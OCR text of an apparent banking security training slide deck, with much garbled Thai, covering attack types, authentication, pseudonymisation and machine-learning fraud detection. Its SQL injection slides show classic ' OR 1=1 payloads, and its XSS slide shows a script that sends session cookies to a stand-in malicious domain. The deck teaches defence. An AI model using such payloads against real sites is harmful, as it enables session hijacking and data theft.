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User User's Bank Server
Browser
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Man in the middle, Phisher,
Or anNONYMOUS Proxy

MAN IN THE MIDDLE ATTACK
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4) Tnsviaenon OTP



-1 Administrator Login :-

o
\\ 5) SQL Injection




SQL Injection.

User-id ;|

itswadesh

Password :

newpassword

select * from Users where user_id= "itswadesh’

User-id :

Password :

and password = ' newpassword '

"OR1=1; f*

#CIIF_

select # from Users where user id=""OR1=1; /*'

and password = " ¥/



SQL Injection

http://students.com? SELECT * FROM students
studentld=117 or 1=1;- WHERE studentld=117 or 1=1;
:
& |
w —_—
s WED AP/ SETVEl  (m—
i | SQL Database
Data for all students is Return data for Server

returned to the attacker all students



e/ /4

6) Cross site Script

http:/www.bigsatebanks=~~/search, aspiq=¢<scriptx=ney
Image;x.sr¢ = “http://maliclous-domainss=/
hijackedsession.phpisession-cookie="+document.cookie ;</script:
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Attacker
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User Request data I server

from server — B
Data Containing the
< Malicious script is loaded

Victim < / >

Maliscious script may get
executed and call back to the attacaker
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The different types of cyber attacks

Cyber crime worldwide cost $400 billion in 2015 and is forecast to reach $2 trillion in 2019*

o =1k -"":TF-P:.L: --:'h"x
v 1 On the way [ ] DNS ] / —\
ot | toawebsite ==  pomain =" a CWWWH
computer A Wy
| " | Name / o NN
b= b, | - 1 P # e
e et System y
N x‘xﬁk % || ; 'I r
.' \ b~ Cross-Site &
Man-in-the- — * Scripting
Hatware Middle Attacks H‘x\ |
. '. : \ Injects malicious code  / '
"Malicious software" such as Hackers insert themselves \ into a website which S/ SQL
ransomware, designed | between your computer ". targets the visitor's Injection
to damage or control and the web server | browser Attack
a computer system - " -
Phishing " Corrupts data to make
DDoS a server divulge data,
Fake official emails (bank, Paypal) o ; ‘ such as credit cards
link to fake websites, where victims Distributed Denial of Service: numbers, usernames
log in, giving up their passwords a network of computers overload
Source: Techterms.com, Lloyds of London, Forbes® aserverwith:dats, shuttingt:down © +H-P



Other Threat Intelligence

Malware
Ransomware
DDOS
Identity Theft
Phishing
Email Scam
Skimming
Data Breach

Bypass OTP APP
Fake Document
Internal Fraud

Wifi Sniff



BYOD

Bring Your Own Device



Prevention Measure

(Banking Perspective)

Fraud detection system (alert)
Suspected transaction

Error by intention/inattentive
Guess
Trying

Proxy
Place /time

System review/assessment
Keeps your customers Aware (KYCA)




Prevention Measure

(Banking Perspective)

Response plan e Scenario simulation
War room * Thinking like a thief
Response team e CCTV

Investigation team

 Synergy with another
 Data sharing
 Connection




3. Fraud Prevention Technique



Information Security Concept

Confidentiality
- Data confidentiality

* privacy
Integrity

« Data integrity

« System integrity

Availability



THE GAINING ACCESS PROCESS

ldentification > g

Verification

Authentication )

Authorization




Accountability



Understanding

Digital Signatures

DIGITAL
g SIGNATURE




There are Three Types of Authentication

1. Something you know 2. Something you are 3. Something you have
(such as a password) (such as a fingerprint) (such as a smart card)




€ C' A [ localhost/phpMyAdmin/

4 Server: localhost » [@ Database: bookshop » E Table: member

fE|Browse [ Structure 72 SQL }_?Sean:h :j.EInsert fEjExport [ Import %Operatiuns fiEmpty [ Drop

phpliduAdmin
at Qo (i) Showing rows 0 - 0 (1 total, Query took 0.0005 sec)
Database
bookshop (1) v| SAL query:
SELECT *
FROM “member
bookshop (1) LIMIT 0, 30
B member

Query results operations
[ 'y Printview %5 Print view (with full texts) Export

Show : | (30 row(s) starting from record # |

| S

in | horizontal v | mode and repeat headers after 100 cells

p T b id_ member username password role
’ X 2 ftoto 81dc9bdb52d04dc20036dbd3313ed055 1

1t Check All/ Uncheck All With selected: @ X

| Show: | |30 row(s) starting from record # |

in | horizontal v | mode and repeat headers after 100 cells



Input Hash sum

Hash
Fox > function > DFCD3454
The red fox _ Hash
runs across function ™ 52ED879E
the ice
The red fox
walks across . : Haf.h —» 46042841
the ice UNCTION




w.3.u.AxnIveyamIMYAnany Pseudonymisation

Pseudonymisation

Name: Brian Murphy | Pseudonym: XOFFH Name: XOFFH
Address: Powers Court, Dublin, Ireland. Credit History: Lorem ipsum dolor sit amet,
Gender: Male consectetur adipiscing elit. Integer nec odio.
Age: 26 Medical History: Lorem ipsum Sed cursus
ante dapibus diam.
PPS: 3612564AW

Computer 1 Computer 2

ca Nntec

WE Mmanage print



Pseudonymisation & Anonymized

Name Token/Pseudonym Anonymized
Clyde gOerd XX XXX
Marco Logfh XX XXX
Les NMcv XXXXX
Les Mcv XXXXX
Marco Logfh l XXX XX
Raul BhaQl XXXXKX
Clyde gOerd XX XXX

Here, with the pseudonymized data, we may not know the identity of the data subject,
but we can correlate entries with specific subjects (records 1 and 7 reference the same
person, records 2 and 5 reference the same person, records 3 and 4 reference the same
person). If we have access to re-identify the data via the token lookup tables, then we
can get back to the real identity. With the anonymized data, however, we only know that
there are 7 records and there is no method to re-identify the data.



Restricted access

Identity

First name: Alex

Last name: Ewerlof
Age: 37

Full Data

First name: Alex
Last name: Ewerlof ; :
Age: 37 e ———
Gender: Male

Nationality: Swedish Non identifiable data

Job: Programmer
Lang: JavaScript \ Gender: Male

Lib: Vue.js Nationality: Swedish
Company: XXX Job: Programmer

Lang: JavaScript
Lib: Vue.js
Company: XXX




Hupnnlm Sumame | First Name | Gender | Date of birth | Post code | PseudoD
ZU0OI0056 (Mg |Noh | M| 1205096 |WIAOAK |10t
20935708qud Rogers | Emily F 21031991 | M1 1AE | 1002
Wypduiniwen |Brady  |Danel | M| O08A%2[BRETH |10
dkwad3rudd Brass Jacab M 0A22005 | CR2 6XH | 1004
dwkqOelruub Dackard | Andnes M 171051937 | OS5 1PT | 1005
dkwapoerim  |Barsta | Juan M| oBOvo001 |ES8 1SZ | 1006
dweordpdadwr |Wison  |lssbele | F | 21024987 |G58 368 | 1007
difpweorlio]  |Mooe | Brr M| 15101963 SWIA DA | 1008
delPOCRR  |Bown | Alce £ | omaons|creo R | 1009
CMpeoriwe[r,m | Haas Ima “ 191211472 | EH99 iEP 1010
caleopipeor  |Konng |Heimt | M | 040v1es9|pAtasT |01t
QSETINSTS |VanHote |Aka | F | 03061951 |s24PW | 1012
Pwalle03e0 |Gdlo  |Abeto | M | 22081947| W5 76§ |10m
Geddoot  |Bog  |ngid | F | 3003197|vo31 168 |10

PseudoJD | Gender | Age | Reason for adission Weight Kg)
W | M| 9 |Aechestpan R
1002 F ;‘EE Suspected aﬁpandinitis b8
1003 i 75 | Fall at home, possible hip fracture

1004 M 11| Fractured left ankle

1005 M| 80| Swvers dizziness b1
1006 M | 15| Head inury, for obsenation 12
1007 F | 20 |Ectopic pragnagy 53
008 | M| 53| Acteasthma atack o
1009 F § | Hypoglycaemia 2
1010 F | En:rnchupneumunla 89
flﬂﬂ M - 53 Myocardial mfaﬂ;tlun ?E
1012 F | 66]Acutecholecystitis (1
1013 M | T0|Cerebrovascular accident 62
1014 F | 43)Acutelow back pain b1




Digital Signature

Private Password Public Password
(Secret) (Shared)

Emisor File Receiver
“Hello” %P # “Hello”




Encryption & Decryption

G| : |G

Plain Text Encrypted Text Plain Text

Hashing Algorithm

OO wbic1d
B (edf
I 11 e

Plaim Text Haszh Functiomn Hazshed Text




Three way Handshake

SYN, ACK

(—1—
ACK




anuanmaizyng Hash nu Encryption

e Hash ilumsnsvanvueiasaimaag?

e @ Encryption iumsinsviauuu
i Public Key, Private Key

VY L

c; IS W QU U
. mmd‘nﬁ f1e mﬁﬂmmmammi’fayamggm



aadadadiaansaiing 3 Uszinn
1)éldeu = g Kandl Radiilu
2)s7lnsdiaAnsating = A1 Hash uaz Meta Data

3)ia3at1a Network &asns = Encryption s
Public Key, Private Key



Authentication by What do you Know




Authentication by What do you Have

~




Authentication by What do you Know and Have

TWO-FACTOR
AUTHENTICATION




Authentication by What do you Have and Know

1Sohm st




Notification lamnums Authentication

Y Yy A a 9 v A v W
mammummamamaﬂ"!uhmssmsmmﬂu



Authentication by What do you be

biometrics
|n actlon

E POPULAR FORM
1'HT ATII HF'F _-.Er,.




Biometric Authentication

Authentication by Physically

Authentication by Behavior



wils

Signatgr_e Face Recognition Fingerprint
Recognition Recognition

l' :
|
]

DNA Matching Vein Patterns
Recognition

Voice Recognition

BIOMETRICS

PHYSIOLOGICAL BEHAVIORAL

----- 3 Face s K2Y5trOkE

‘ Fingerprint ,..#"' Signature

ﬁHand Q)Fﬂice
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ANHUSIANIEURY RINS RINN Kanilu

1) &g waunu aaugnaas 100%
2) W waunu Augnaas 100%
3) Remiu sunu Arnuiazitle wvinnsula

iu 80-90% 11luau
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Multli-Factor Authentication

Fingerprint

i

Fingerprint sensors are not secure
without a properly implemented
public key infrastructure. HYPR
biometric tokenization keeps your
fingerprints securely decentralized

and safe from hackers.

Face

™

L\ 2

Twao billion people are carrying a

=

biometric device. Integrate facial
recognition seamlessly into all of
your apps with our secure biometric

cloud.

Voice

Reduce call center costs and
improve user experience by
embedding voice recognition directly

into your mobile experience.

Eye

For maximum levels of assurance,
deploy HYPR-secure eye

recognition.



Authentication Conclusion

1.ldentification 1.Branch
1593 ge e

2. Verification 2 ATM and Card
2. Faiiil

3.Authentication 3 p,\ment Gateway

3.qanile  4.Authorization 4.Internet Banking

5.Accountability 5.Mobile Banking



4.Fraud Detection Technique



Tansine Business (nganu Fraud Detection

U 1l 64 Ndaruwaugsnssuluasansmanua 1,000,000 ass
iy Fraud [quau 1,000 e«
g daRusandiwou 10 auvan (198 1 wiivuwn/iag)

\tlu False Positive (dldauaaase 1daulaila iwsazgn Detect 4uilu Fraud)

a7u2u 5,000 ase & User antanusnig aauau 1,000 s1¢

a3AnsgaYREs125uNAs LA Auu 1 fuun

\tlu False Negative (g5ed1l49u szuunduilaasdiiu 13 Detect 9ilu Fraud)

d1uau 1,000 Ase asansgaudasiala dauau 10 auun

faviu Aslviiminszuu Fraud Detection ifaariu linnean False Negative
annd1 am False Positive 1iluau




- Fraud Detection #in38?



Fraud \naanglananiilunyws

n1svi1 Fraud Detection aaslsusiuuunis Detect agnaan

pau lidnaz Detect aaeddln
1) Model Base Detection (:5ausaan Dataset luasn)
2) Rule Base Detection (i vuainws Fraud snuws If Then Else)
3) Outlier Detection (wg@nssunsldaunanini)

wn Detect Fraud lana Auanndsuldlaniay



Rule Base Example

Sample New Registration Rule:

If IP_Address Location == [‘Japan’] and
Cust_Address Country = [‘USA’] and
CUSTOMER_PHONE_LOC == [‘Spain’] THEN Investigate



wasuain nsdiauiaas Domain Expert
(i@emny) Milisunsuiued 1lauAIes
Program anmwsz If Then Else

uuilu neaduluns angadaya #il Attribute

(Auanunuz) nu Label (nasww) iwalv
Program uams Output annluias nlaEaus
ngarayauu (nsdl Model Base Detection)




Dataset % Algorithm =» Model



1,000
1,500
2,000
2,000
3,000

Price = 0.3(Size) + 0.2(Bedroom) + 0.001(Bathrooms)

Example: Predicting Real Estate Price

3 2
4 1
4 2
4 1
5 2

400K
600K
700K
750K
740K
800K
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Vi V2
-1.35%81 0.07278
1,19186 0.26615
-1,35835 -1,34016
056627 -0.18523
L1523 0.87774
042597 0.96052
122%6 0141
064427 141756
05425 0.28616
033826 1.11959
1.44%04 -1.17634
0.38458 0.61611
125 -1.23184
106537 0.28772
-2 79185 0,377
075242 0,34548
110322 0.0403
043651 0.91857
540126 -5.45015
145254 -1.02935
0.65488 -1.36182
0.9625 0.32846
116662 0.50212
0.2474% 0.27767
1594653 -0.0449
207425 0.12148
117328 10,3535
132371 -0.17404
041425 050044
105939 0.17532
123743 0.06104
111401 0.08555
0.52951 0.87389
052951 0.87385
053539 0.86507
053539 0.86507
024605 0.47387
145219 1.76512
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-LO0BAT 219851
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12472 0.23781 037744
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002973 04782 026031
0.27271 0.00516 ) 0.08121
0.42812 112063 -3.80786
17282 0,37015 0.85108
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Ve V1D

0.36379  0.05079
-0.25543 | -0.16857
-1.51465  0.20764
-1.38702 -0.05455
0.81774 0.75307
056867 0.37141
0.464%  -0.095925
0.61537 1.2493%
0.35205 -0.41043
-0.73673 -0.36685
-17241 162666
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20801 13473
022108 0.46023
0.75571 1,1510%
043617 074773
0.78233 D.26758
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0.017e6 0.04486
0.85015 0,307
AL.ERART . 175RE

Vil
0.5516
161273

0.6245

0.22645

-0.82284
134126

-1.41651

061947

0.70512
1.01761
1.19%64

-0.25912
0.223767

e
084456

-0,79358

-0.45031

0.3141
0.51723
107754
1.01915
169033
0.74473
05832

-0.08126

0.B5E57

0.14342

0.64151

001214
104829

-0.52918
11335
0.87243
0.8724%

0.6718
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-0.51205
0.78373
0.68265
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V12 Vi3
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106524 0.4891
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0.11045 -0.28625
0.83639 1.0D584
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057568 -0.11351
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040687 -2.15685
0.05423 | 0.38791
-1.30041 -0.13833
202761 -0.26532
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0.4886 0.21672
0.50575 -0,38669
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Fraud Detection using Machine Learning
- Imbalance Dataset

- Bad actors change tactics often

- Weight Model by Recall or Precision?

- Use Supervise and Unsupervise for Detect
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5. Fraud Investigation Technique
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